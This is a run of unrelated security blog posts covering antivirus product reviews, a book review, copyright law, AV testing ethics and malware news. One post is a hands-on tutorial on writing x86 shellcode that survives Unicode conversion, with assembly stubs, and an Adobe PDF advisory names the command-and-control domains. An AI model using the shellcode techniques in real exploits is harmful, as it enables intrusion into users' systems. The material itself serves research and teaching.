Crazy busy, this time of year, isn’t it?  That’s why I haven’t gotten back to this until now.

(Mind you, last Sunday, at church, the kids put on this play, the point of which was that the “busy” parts of Christmas often aren’t the most important aspects.  The tagline to the play was that you should be busy about the right things, not the wrong ones.  And we’ve mostly been busy with the twins.

For example, #2 Daughter was heavily involved in the local Atom hockey tournament, since #3 Grandson was in one of the teams.  So, we pulled extra babysitting time while she had to be running things, and he *didn’t* have to be there.

The famous Coquitlam Atom Boom Boom Puck Jam Hockey tournament was won, Tuesday, by the Coquitlam Chiefs C1 team in an exciting finish.  Tied after regulation time [with full 15 minute periods, rather than the normal Atom 12, with the third period shortened if anything in the game goes overtime], and still tied after five minutes of 4 on 4 sudden death overtime, the final was won in the second-to-last shot of a shoot-out.

Because of conflicting appointments, Grandpa (of #6, right wing forward) had to travel an hour and a half, taking the Skytrain and bus out to the rink, but is still chuffed 

But the disappointments, of which I speak, had to do with computers.  Part of the pain of buying new stuff, is that things you thought you could rely on, well, it turns out you can’t, anymore.

One of them is NOD32.  Eset does make a good product, although it tends to be fairly greedy for cycles, while operating, and a bit arrogant in terms of what it tells you.  So, when a family member was in trouble over an infection (always embarrassing when your own family doesn’t take precautions, isn’t it?) I had no hesitation in applying NOD32 to try and clean it up.  Well, the machine is older, and slow.  And, hasn’t been updated in a while, so I was trying to fix that, too.  NOD32, even after finishing it’s scan, was interfering with the update process.  So much so, that it got to the point where we thought the machine was unrecoverable.

We did get it back in operation.  (And, first thing, removed NOD32.)  But it’s disappointing when a trusted tool bites you.

(Speaking of the which, I’ve spoken before about MSE, and even mentioned some of the performance degradation it can cause in older machines.  I must say, that, in some recent experiences, I’m more and more impressed with it as a means of rescuing computers that have been infected.)

More closely related to the new computers, one of my favourite places to get computer equipment, over the years, has been a western Canadian drugstore chain called London Drugs, similar (for those of you in the States) to Walgreens, although sometimes London Drugs is closer in scale to Target.  For twenty years I have been sending people to them for good advice, knowledgable staff, and decent prices.

Well, one of the computers I bought, this time around, is a Mac.  I’m not familiar with Macs, so I was relying on their advice.  Actually, the advice that I got from one staffer was quite good.  But, when I went to actually buy the machine, I got it home and found that what I had brought home was not what I’d ordered.  Which reminded me that the last time I needed to get a printer cartridge, again, they gave me the wrong one.  (There is also that fact that, in relying on their advice over what I needed, they sold me some completely unnecessary software, when the function I wanted is already built in to the Mac.)
Overall, I think they still are a reasonably decent place to get stuff, but, obviously, they may be victims of their own success.  Getting a bit careless, perhaps.  So, equally obviously, I can’t just rely on them any more, and will have to be careful about who I send there, as well.
Like I  said, a bit of a disappointment …

Aviram said in a recent blog about Stuxnet and SCADA here:

After that, we get to theorize on who’s behind it and who is the target. What’s your guess?

And sure enough, half the security world has done just that, and the rest will be talking about it at Virus Bulletin next week. Good fun, maybe, if you don’t think too hard about some of the political implications, but I’m not sure it’s been productive or useful. Which is why I blogged today here.

I’d love to cover the same ground again here, but frankly I’m just too dispirited…

David Harley CITP FBCS CISSP
ESET Senior Research Fellow

BKMTHSEC.RVW   20091221

“The Myths of Security”, John Viega, 2009, 978-0-596-52302-2, U$29.99/C$37.99
%A   John Viega viega@list.org
%C   103 Morris Street, Suite A, Sebastopol, CA   95472
%D   2009
%G   978-0-596-52302-2 0-596-52302-5
%I   O’Reilly & Associates, Inc.
%O   U$29.99/C$37.99 800-998-9938 fax: 707-829-0104 nuts@ora.com
%O  http://www.amazon.com/exec/obidos/ASIN/0596523025/robsladesinterne
http://www.amazon.co.uk/exec/obidos/ASIN/0596523025/robsladesinte-21
%O   http://www.amazon.ca/exec/obidos/ASIN/0596523025/robsladesin03-20
%O   Audience i Tech 1 Writing 1 (see revfaq.htm for explanation)
%P   238 p.
%T   “The Myths of Security”

The foreword states that McAfee does a much, much better job of security than other companies.  The preface states that computer security is difficult, that people, particularly computer users, are uninformed about computer security, and that McAfee does a much better job of security than other companies.  The author also notes that it is much more fun to write a book that is simply a collection of your opinions than one which requires work and technical accuracy.

The are forty-eight “chapters” in the book, most only two or three pages long.  As you read through them, you will start to notice that they are not about information security in general, but concentrate very heavily on the antivirus (AV) field.

After an initial point that most technology has a poor user interface, a few more essays list some online dangers.  Viega goes on to note a number of security tools which he does not use, himself.  He then argues unconvincingly that free antivirus software is not a good
thing, unclearly that Google is evil, and incompletely that AV software doesn’t work.  (I’ve been working in the antivirus research field for a lot longer than the author, and I’m certainly very aware that there are problems with all forms of AV: but there are more forms of AV in heaven and earth than are dreamt of in his philosophy.  By the way, John, Fred Cohen listed all the major forms of AV technology more than twenty-*five* years ago.)  The author subsequently jumps from this careless technical assessment to a very deeply technical discussion of the type of hashing or searching algorithms that AV companies should be using.  And thence to semi-technical (but highly opinionated) pieces on how disclosure, or HTTPS, or CAPTCHA, or VPNs have potential problems and therefore should be destroyed.  Eventually all pretence at analysis runs out, and some of the items dwindle down to three or four paragraphs of feelings.

For those with extensive backgrounds in the security field, this work might have value.  Not that you’ll learn anything, but that the biases presented may run counter to your own, and provide a foil to test your own positions.  However, those who are not professionals in the field might be well to avoid it, lest they become mythinformed.

copyright Robert M. Slade, 2009    BKMTHSEC.RVW   20091221

The recently discovered LNK exploit; using the way Microsoft parses link or shortcut icons for display in order to get something else executed; may be a tempest in a teapot.  It is technically sophisticated, but so far we don’t appear to have seen it used widely.

Probably a good thing.

This exploit could be used in a wide variety of ways.  You can use it in removeable media, so that any time you shove a CD in a drive, or connect a USB stick/thumb drive (or any other USB device, for that matter) to a computer, it results in an infection or some malicious payload.

And remember that OLE stands for object *LINKING* and embedding.  Since it is trivially easy to embed a virus in any Windows OLE format data file, it should be just as easy to create malicious links in any such files.

Microsoft’s own information on the issue seems to indicate that there is a related, but separate, issue with Microsoft Office components, related to Web based activities.  (By the way, when accessing that site, the information about how to protect against the exploit is hidden under the “Workarounds” link, rather than being explicit on the page.)

Some of the potential effects are discussed by Randy Abrams at http://blog.eset.com/2010/07/19/it-wasn%E2%80%99t-an-army

We’ve got a new law coming up in Canada: C-32, otherwise known as DMCA-lite.

Lemme quote you a section:

29.22 (1) It is not an infringement of copyright for an individual to reproduce a work or other subject-matter or any substantial part of a work or other subject-matter if
[...]
(c) the individual, in order to make the reproduction, did not circumvent, as defined in section 41, a technological protection measure, as defined in that section, or cause one to be circumvented.

Now, of course, if you want to examine a virus, or other malware, you have to make a copy, right?  So, if the virus writer has obfuscated the code, say by doing a little simple encryption, obviously he was trying to use a “technological protection measure, as defined in that section,” right?  So, decrypting the file is illegal.

Of course, it’s been illegal in the US for some years, now …

My initial, and superficial, review of MSE is still sparking all kinds of comment.

Today it decided to update itself.  Didn’t ask, of course.  It just tied up the computer for about half an hour.  I was able to get some stuff done, as long as I was willing to wait ridiculous amounts of time for responses.

This post is a followup on my previous post on KISS shellcoding and exploitation. Like before this is part of the job I do for SecuriTeam’s SSD. Those that are not aware of the project its aim is to give researchers compensation for their researcher efforts, compensation of course being money not just fame and glory
The most common and classic shellcode char restrictions is “zero tolerance”. this can be solved in a verity of different methods. ranging from substitution to polymorphic escape decoders. Solving zero-tolerance is a very useful and thought-provoking problem, however provides a limited amount of fun:). especially once a basic set of solutions has been developed.

Let’s have a look at slightly more challenging problem – can we write shellcode that contains a null char at every other byte, and *only* every other byte, for e.g. s\x00h\x00e\x00l\x00l\x00c\x00o\x00d\x00e0

This can happen if our shellcode were to pass through a call to MultiByteToWideChar() or similar function. This is often encountered in browser bugs (especially DOM and/or scripting).

Some work has been done on this subject, namely a method was described by ngss reasercher Chris Anley. This method was coined “Venetian Blinds” or ”The Venetian exploit”. The method I suggest here is similar, but slightly different in that it does not make as many assumptions and presents a more theoretical approach. This work is an original unrelated effort.

Let us get to it.

Enumerating the methods we can use to write ugly ascii-to-unicode shellcode we find many are similar to regular zero-tolerance or ascii shellcode methods.

We can decode in-place, copy, byte-substitute. These methods will become more clear as you read. In some cases it will be necessary to find eip/getPC.

This also can be done in several ways, similarly to shown in my previous post, but differently( Try encoding FSTENV with null bytes, email me if you succeed

It will take many pages to thoroughly cover all of these methods and so I’ll start with the simplest copy method.

Instead of just presenting the final result, I will walk through my thought process working on this. In this post I present several different trials at shellcode, some of which are not immediately useful. This will allow you to better understand the intricacies shellcode-restriction, and get a feel for the different problems I faced.

Let’s copy our code somewhere. If we were to decode in-place, we would essentially write the same code, as well as extra getPC code.

Not as easy as it sounds. let us start from building restriction-compliant basic-blocks which can br used later. These blocks shall suffice:
1) set register
2) string operation
3) branch
4) glue block

These translate to:

1) mov reg32, imm32
2) mov [reg32],imm8
inc reg32 # imm8 !=0
3) jmp/call reg32
4) a “glue block” that can be use between every two blocks, and between two compliant opcodes. This is a compliant block that starts and ends with a null byte. we’ll mark it *GB.

if we want to get a bit fancier we may need:
3) pop reg32
4) mov [reg32],imm16 # imm16 bytes not equal 0
inc reg32
inc reg32

(U) basic block number one: setting a register – attempt 1.0
the following opcode:
mov ecx, 0×11223344
decodes like this:
B9 44332211

which of course is not very helpful to us. The best we can do with our restriction and this basic opcode is:
B9 00330011 == mov ecx, 0×11003300

this is not very useful. we want to be able to put an arbitrary value into r32. let’s divide in to two parts by bytes:

two lower bytes(“3rd and 4th”):let’s start by setting the two lower bytes. this is easy

*GB ; zero-out ecx
push 0
pop ecx

mov edx,77007700 BB00770077 ; use edx as help-reg

*GB
add ch,dh – 00F5 c
mov edx,66006600 – BB00660066.

*GB
add cl,dh – 00F1

This is a good method for the lower bytes. let’s call it “set (cx, 0×1122)”.

Those readers with a keen eye may notice that assembling these opcodes may not result in compliant shellcode.

This is because different byte-sequences may represent the same opcode. x86 opcodes are built of micro-codes or U-codes(with the greek letter mewh). Every Ucode performs a very basic operation. Several of these are dubbed “opcode”. Different sequences of Ucodes may result in the same end and therefore be functionally-equivalent, usually an assembler will choose the faster one.

topmost two bytes:
in order to set the topmost byte we can:

mov ecx,66006600 – BB00660066.

In order to set the topmost byte to zero we can: zero out the whole r32, later setting byte’s 3&4 . this is done by replacing our first opcode with the sequence:
push 0 – 6A00
pop ecx – 59

onwards.

we are now able to set the 1st,3rd, and 4th bytes of a register. how will we set the second? if the value needed is very low or very high we could:
set (cx, 0xFFFF)
*GB

inc ecx – 41
*GB
set (cx, 0xFFFF)
etc.

or

set (cx, 0×0000) ; this is not trivial, but easy
*GB
DEC ecx – 41

etc.

This method is not very space-conservative. let’s try finding a better method.

And now for something completely different – let’s find a better method. This time the process will include taking a peak at the intel x86 reference manual (I used the xeon manual) in search for interesting opcode encodings.

(U) basic block number one: attempt 2.0 – setting the top two bytes.

this time, we’ll try using program memory, specifically – the stack. this may a good method because many stack operations are single-byte. this may be bad, if sp points somewhere unwritable when the shellcode is running(but can be adapted).

fun fact – sifting through the intel reference manual we can see that the set of operands al /ax /eax can provide plenty compliant opcodes which will not be compliant with other registers used. for eg:
MOV DWORD PTR DS:[EBX],110011 – C7 03 11 00 11 00
MOV DWORD PTR DS:[EAX],110011 – C7 00 11 00 11 00

now consider the following opcodes:
push 11003300 – 6800330011
*GB
push esp – 54
*GB
pop eax – 58
*GB
add dword ptr [eax], 00220044
*GB
pop ecx

now ecx == 0×11223344
this is better than we expected. we have set all four bytes.

we already know how to change the two lower-most bytes if we want to zero them out. we also know how to zero out the 2nd topmost byte,or both high bytes. if we want to get 0×00112233 we can use (i’m omitting opcode encoding from hereon):

push 11003300 ; [esp] = 11003300
*GB
push 11003300 ; [esp] = 11003300
*GB
inc esp ; [esp] = 00110033
*GB
pop ecx ; ecx = 00110033
*GB
dec esp ; [esp] = 11003300
pop eax ; to restore stack

and then set the missing low bytes. We already know a different way of doing this – look for it.

Thus we have a compact method of performing mov r32,imm32 for any value.

(U) basic block no. 2: mov [reg32],imm8, inc reg32 # imm8 !=0 – attempt 1.0

First, let’s assume we know what data is present at the copy destination address. In this case, it will be pretty easy to build this BB. We will be using an add operation. here we are adding 0×90 to a one byte at [ecx], and ecx++.

mov eax,90009000 ; ah=90
add byte ptr [ecx],ah ; [ecx] += 0×90
inc ecx

this of course will be padded with *GB whenever needed. if we don’t know what data lays at [ecx] we could try this:
push ecx
pop eax ; eax =ecx
mov byte ptr al,[eax] ; al= [ecx]

;negate eax
push 0
pop ebx
add bh,al ; bh =al == [ecx]
xor ebx, ff00ff00
push 0
pop eax;
add al,bh ; al = al ^ 0xff == [ecx]^0xff
inc al ; al++ == -(byte ptr [ecx] )

;add negated value, and wanted value
mov edx, 11001100
add al,dh
add byte ptr [ecx],al ; [ecx] = [ecx] + (-[ecx] + dh) == dh == 11
inc ecx

once again, padded with *GB. this is not very elegant or small, but seems to work nicely. let’s give it another try. this time using completely different types of opcodes:
push esp
pop edx

inc ecx
inc ecx
inc ecx
inc ecx

push ecx
pop esp

set(ebx,0×90909090)
push ebx

push edx
pop esp

this looks nicer.

(U) 3) jmp/call reg32
this is easy:
push ecx
*GB
retn

(U) 4) the star of the evening – our very own – Glue Block we could try this:
ADD BYTE PTR SS:[EBP],AL – 004500

or this – after setting the right registers.

ADD BYTE PTR DS:[EAX],CL ; (we could probably pull eax off the stack, but can’t use set(eax,0xADDR) because we can’t use this GB, which is needed to do this there are probably a few others. Using these may require us to do minor fixups. this basically sums up everything we need to build a fancy ascii-to-shellcode decoder. now that we have our 4 basic blocks we can use them to program/ like this: 2-3-4-1-1-1-2-3-4-4/ just kidding.

An example simple windows code that copies four nop bytes to [7FFE0300 +0x100] looks like this:
what we would really be copying is a short code to find the original shellcode, and decode it. this is pretty simple straight-forward assembly

; ecx = 7FFE0400
68 0004007F PUSH 7F000400
0045 00 ADD BYTE PTR SS:[EBP],AL
54 PUSH ESP ; GB
58 POP EAX
8100 0100FE00 ADD DWORD PTR DS:[EAX],0FE0001
59 POP ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
49 DEC ECX

;al = 0×90

0045 00 ADD BYTE PTR SS:[EBP],AL
B8 00900090 MOV EAX,90009000
00E0 ADD AL,AH

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL; [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX ;ecx++

;byte ptr [ecx] = 0×90
;ecx ++

0001 ADD BYTE PTR DS:[ECX],AL [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
0045 00 ADD BYTE PTR SS:[EBP],AL

;jmp [ecx-4]

DEC ECX
DEC ECX
DEC ECX
DEC ECX

51 PUSH ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
C3 RET

0000

Of course, all the methods I discussed here can be highly optimized(such using dword values?), and probably some other methods may be used. these are the basics

Also, if we want to keep a code-shellcode ratio anything close to plausible, we will have to be able to write small amount of bytes that can find the original chunk and decode it from our
destination address. this can very often be done through use of register and stack state at the time the shellocde started running. we’re in luck with this – pushad is compliant.

SecuriTeam Blogs contains several FAQ documents about MS Office vulnerabilities used in targeted attacks since 2006. This time I’m not writing a FAQ. This document has answers to What this means type questions.

What an organization can make to protect?

#1 Disable JavaScript. Deploy a system to deliver this setting to all workstations. This is not the last Adobe 0-day which we will see.

What this means?

Go to Edit>Preferences menu, select item ‘JavaScript’, Uncheck “Enable Acrobat JavaScript” and to save the setting click ‘OK’.

#2 Enable DEP

Some Windows systems include Data Execution Prevention (DEP) functionality.

What this means?

If your organization is using Windows versions with DEP support the code execution can be avoided.

Adobe has confirmed these mitigation advices in security advisory APSA09-07, but as mentioned DEP method doesn’t fully prevent the exploitation.

#3 Do not open PDF documents from unknown sources AND received unexpectedly.

What this means?

If you don’t know the sender who is sending you file attachments there is always a risk that you are a victim of targeted attack. Remember that the sender can be easily spoofed as well.

#4 Switch to alternative PDF reader.

There are many free and commercial products. However, they are often affected by Adobe vulnerabilities too and a patching policy is needed when switching to another product.

What this means?

Changing the PDF reader in large organization is not an easy move. Today is a good day to start the planning project.

Let’s talk about technical details with some words. The vulnerability exists in Doc.media.newPlayer method. The Trojan in these attacks generated connections to http: // foruminspace dot com and http: // newsplaza dot net (these servers are located in Malaysia).

AV vendors use the following names when detecting the malicious PDF document:

Exploit.JS.Pdfka.atq (Kaspersky)

Exploit:W32/AdobeReader.UZ (F-Secure)

Exploit-PDF.ag (McAfee)

PDF/Pidief.NQ (CA)

Trojan.Pidief.H (Symantec)

TROJ_PIDIEF.PGS (Trend Micro)

Troj/PDFJs-FS (Sophos)

The size of the infected PDF document is 400,918 bytes. The file name varies, but it can be note200911.pdf, note_20091210.pdf or Outline of Interview.pdf.

Withdrawn on legal advice. Sigh…

So I’m going to ask some hypothetical questions instead.

Principle 3 of the AMTSO (Anti-Malware Testing Standards Organization) guidelines document (http://www.amtso.org/amtso—download—amtso-fundamental-principles-of-testing.html) states that “Testing should be reasonably open and transparent.”

The document goes on to explain what information on the test and the test methodology it’s reasonable to ask for.

So is it open and transparent for an anti-malware tester who claims that his tests are compliant with AMTSO guidelines to decline to answer a vendor’s questions or give any information about the reported performance of their product unless they buy a copy of the report or pay a consultancy fee to the tester?

There is, of course, nothing to stop an anti-malware tester soliciting payment from the vendors whose products have been tested both in advance of the test and in response to requests for further information. But is he then entitled to claim to be independent and working without vendor funding? In what respect is this substantially different to the way in which certification testing organizations work, for example?

It seems to me that AMTSO is going to have to consider those questions at its next meeting (in Prague, next week). Purely hypothetically, of course. What do you think?

David Harley CISSP FBCS CITP
Small Blue-Green World

What with twenty years experience in reviewing AV software, I figured I’d better try it out.

It’s not altogether terrible.  The fact that it’s free, and from Microsoft (and therefore promoted), might reduce the total level of infections, and that would be a good thing.

But even for free software, and from Microsoft, it’s pretty weird.

When I installed it, I did a “quick” scan.

That ran for over an hour on a machine with a drive that’s got about 70 Gb of material on it, mostly not programs.  At that point I hadn’t found out that you can exclude directories (more on that later), so it found my zoo.  It deleted nine copies of Sircam.

Lemme tell ya ’bout my zoo.  It’s got over 1500 files in it.  There are a lot of duplicate files (hence the nine copies of Sircam), and there are files in there that are not malware.  There are files which have had the executable file extensions changed.  But there are a great number of common, executable, dangerous pieces of malware in there, and the only thing MSE found was nine copies of Sircam.

(Which it deleted.  Without asking.  Personally, for me, that’s annoying.  It means I have to repopulate my zoo from backups.  But for most users, that’s probably a good thing.)

Now, when I went to repopulate my zoo, I, of course, opened the zoo directory with Windows Explorer.  And all kinds of bells and whistles went off.  As soon as I “looked” at the directory, the real-time component of MSE found more than the quick scan did.  That probably means the real-time scanner is fairly decent.  (In my situation it’s annoying, so I turned it off.  MSE is now annoyed at me, and continues to be annoyed, with big red flags on my task bar.)
MSE has four alert levels to categorize what it finds, and you have some options for setting the default actions.  The alert levels are severe (options: “Recommended action,” “Remove,” and “Quarantine”), high (options: “Recommended action,” “Remove,” and “Quarantine”), medium (options: “Recommended action,” “Remove,” “Quarantine,” and “Allow”), and low (options: “Recommended action,” “Remove,” “Quarantine,” and “Allow”).  Initially, everything is set at “Recommended action.”  I turned everything down to the lowest possible settings: I want information, not strip mining.  However, for most people it would seem to be reasonable to keep it at the default action, which seems to be removal for everything.
I don’t know where it puts the quarantined stuff.  It does have a directory at C:\Documents and Settings\All Users\Application Data\Microsoft Security Essentials, but no quarantined material appears to be there.

(I did try to find out more.  It does have help functions.  If you click on the “Help” button, it sends you to this site.  However, if you click on the link to explain the actions and alert levels, it sends you to this site.  If you examine those two URLs, they are different.  If you click on them, you go to the same place.  At that location, you can get some pages that offer you marketing bumpf, or watch a few videos.  There isn’t much help.)
You can exclude specific files and locations.  Personally, I find that extremely useful, and the only reason that I’d continue using MSE.  It does seem to work: I excluded my zoo before I did a full scan, and none of my zoo disappeared when I did the full scan.  However, for most users, the simple existence of that option could signal a loophole.  If I was a blackhat, first thing I’d do is find out how to exclude myself from the scanner.  (There is also an option to exclude certain file types.)

So I did a full scan.  That took over eight hours.  I don’t know exactly how long it took, I finally had to give up and leave it running.  MSE doesn’t report how long it took to do a scan, it only reports what it found.  (I suspect the total run was around ten or eleven hours.  MSE reports that a full scan can take up to an hour.)

While MSE is running it really bogs down the machine.  According to task manager it doesn’t take up much in the way of machine cycles, but the computer sure isn’t responsive while it’s on.
When I came back and found it had finished, the first thing it wanted me to do was send a bunch of suspect files to Microsoft.  The files were all from my email.  On the plus side, the files were all messages that reported suspect malware or Websites, so it’s possible that we could say MSE is doing a good job in scanning files and examining archives.  (On the other hand, every single message was from Sunbelt Software.  This could be coincidence, but it is also a fact that Sunbelt makes competing AV software, and was formerly associated with a company that Microsoft bought in its race to produce AV and anti-spyware components.)

Then I started to go through what Microsoft said it found, in order to determine what I had lost.

The first item on the list was rated severe.  Apparently I had failed to notice six copies of the EICAR test file on my machine.

Excuse me?  The EICAR test file?  A severe threat?  Microsoft, you have got to be kidding.  And the joke is not funny.

The EICAR test file is a test file.  If anyone doesn’t know what it is, read about it at EICAR, or at Wikipedia if you don’t trust EICAR.  It’s harmless.  Yes, a compatible scanner will report it, but only to show that your scanner is, in fact, working.

It shouldn’t delete or quarantine all copies it finds on the machine.

MSE also said it quarantined fifteen messages from my email for having JavaScript shell code.  Unfortunately, it didn’t say what they were, and I wasn’t sure I could get them back.  I don’t know why they were deleted, or what the trigger was.  MSE isn’t too big on reporting details.  I don’t know whether these messages were simply ones that contained some piece of generic JavaScript, and got boosted up to “severe” level.  Given the EICAR test file experience, I’m not inclined to give Microsoft the benefit of the doubt.

After some considerable work, I did find them.  They seemed to be the “suspect” messages that Microsoft wanted.  And when I tried to recover them, I found that MSE had not quarantined them: they were left in place.  So, at the very least, at times MSE lies to you.

(I guess I’d better add my email directory to places for MSE not to scan.)
MSE quarantined some old DOS utilities.  It quarantined a bunch of old virus simulators (the ones that show you screen displays, not actual infectors).  (Called them weird names, too.)

MSE quarantined Gibson Research‘s DCOMbob.exe.  This is a tool for making sure that DCOM is disabled on your machine.  Since DCOM was the vector for the Blaster worm (among others), and is really hard to turn off under XP, I find this rather dangerous.

OK, final word is that I can use it.  I’ll want to protect certain areas before I do, but that shouldn’t be too much of a concern for most users.

You might want to make sure Microsoft isn’t reading your email …

As it’s been a while, here’s a little light-ish relief from my semi-recreational blog….

http://dharley.wordpress.com/2009/09/19/a-myth-laid-to-rest/

Those in the Australian state of Queensland are having a cull of cane toads, a pest.  I don’t know whether it would work, but the mass reduction of a pest population is, generally speaking, a good thing.  It may not eliminate the problem once and for all, but a sharp decrease in population is usually better than a constant pressure on a species.

So, is there any way we can get some support going for a mass cull of computer viruses?  Most currently “successful” viruses are related to botnets, and botnets are often used to seed out new viruses.  Viruses are used to distribute other forms of malware.  Doing a number on viruses would really help the information security situation all around.  (I have, for some years, been promoting the idea that corporations, by sponsoring security awareness for the general public, would, in fact, be doing a lot to reduce the level of risk in the computing and networking environment, and therefore improving their own security posture.)

Recent news that UK government approving Police hacking into suspected home computers has caused a bubble in the info-sec world. They can hack into private computers either by sending an e-mail containing a virus to the suspect’s computer or breaking into a residence to install a keystroke logger onto a machine or simply place a surveillance van in the vicinity of a wireless network to intercept the traffic. Computers of users who are suspected of terrorism, pedophilia or identity or credit card theft will be targeted.

They have even asked the security product/services providers to stop detecting/blocking their keyloggers and other spyware tools. However few security vendors have raised an issue and expressed their inability to cooperate with the federals. As per Znet, security vendors Kaspersky Labs and Sophos told ZDNet UK that they would not make any concession in their protective software for the police hack. Symantec has not commented on this. However in the past they have Symantec has said that its antivirus software will not scan for the FBI’s Magic Lantern keylogging software. This is a spyware program that the Feds can hack into your machine to log and report all keystrokes back to them.

I personally find this very scary and “privacy intruded” and since conceptually there’s no difference between a malicious code and the one used for the Government, there are BIG chances that an AV can miss it!!!

This means punching a BIG hole in the security device which in turn is surely a big Boom for malware authors. If Cops drop a trojan on suspect’s system installed with antivirus software white-listing Police hacking tools and if this suspect turns out to a prestigious member of underground malware writers, then he can reverse engineer the cop-hack-tool to write his own code and compromise more such systems.

I personally feel Kaspersky Labs and Sophos are really doing a good job by taking their stand on not creating a backdoor for malware writers.

Google has garnered a lot of interest, over the past day or two, with its radically new idea, released under the name Native Client.  You can read the announcement at http://google-code-updates.blogspot.com/2008/12/native-client-technology-for-running.html or download the research paper (in PDF) at http://nativeclient.googlecode.com/svn/trunk/nacl/googleclient/native_client/documentation/nacl_paper.pdf
That idea sounded so familiar I just knew it had to have been done before.

It has.  It’s just a dressed up version of an activity monitor.  The oldest form of AV actually implemented.  In fact, it dates back to the days just slightly before the first PC viruses, when people were trying to prevent damage by some of the early PC trojans that were being shared on BBSes.

Or, if they take it far enough, and if you like, you can call it a form of virtual machine.  And we are back to http://blogs.securiteam.com/index.php/archives/1171

It’s good to see that my challenge from yesterday to write a blog post a day for the next week seems to have got some people blogging on here again, so c’mon, let’s try and keep this up for the week.

If no-one’s ever read the INSECURE magazine before, then now is a great time to start reading them, and go through the back issues as well, as the information held within this magazine is usually really worthwhile.

To give you an overview of what’s contained within this months issue, here’s the index.

• The future of AV: looking for the good while stopping the bad
• Eight holes in Windows login controls
• Extended validation and online security: EV SSL gets the green light
• Interview with Giles Hogben, an expert on identity and authentication technologies working at ENISA
• Web filtering in a Web 2.0 world
• RSA Conference Europe 2008
• The role of password management in compliance with the data protection act
• Securing data beyond PCI in a SOA environment: best practices for advanced data protection
• Three undocumented layers of the OSI model and their impact on security
• Interview with Rich Mogull, founder of Securosis

You can download the magazine from here:

http://www.net-security.org/insecuremag.php
Hats off to the guys and girls at Net-Security for working so hard on a top quality magazine.

Update: Corrected link

New Trojan horse for Mac environment has been discovered.

The Trojan is known as OSX.Lamzev.A by Symantec.

When it is executed it will create the file ezmal to the Applications folder (the name is Applications in localized installations too).

The names of earlier widely known OS X malware are Mac.Hovdy.a (June ’08), OSX.Exploit.Launchd (June ’06) and Leap.A (February ’06). When saying ‘widely known’ it doesn’t mean that they were widely spreaded.

I remember the exact number of 63 when talking about known Mac malware.

There are no worms for Apple – yet.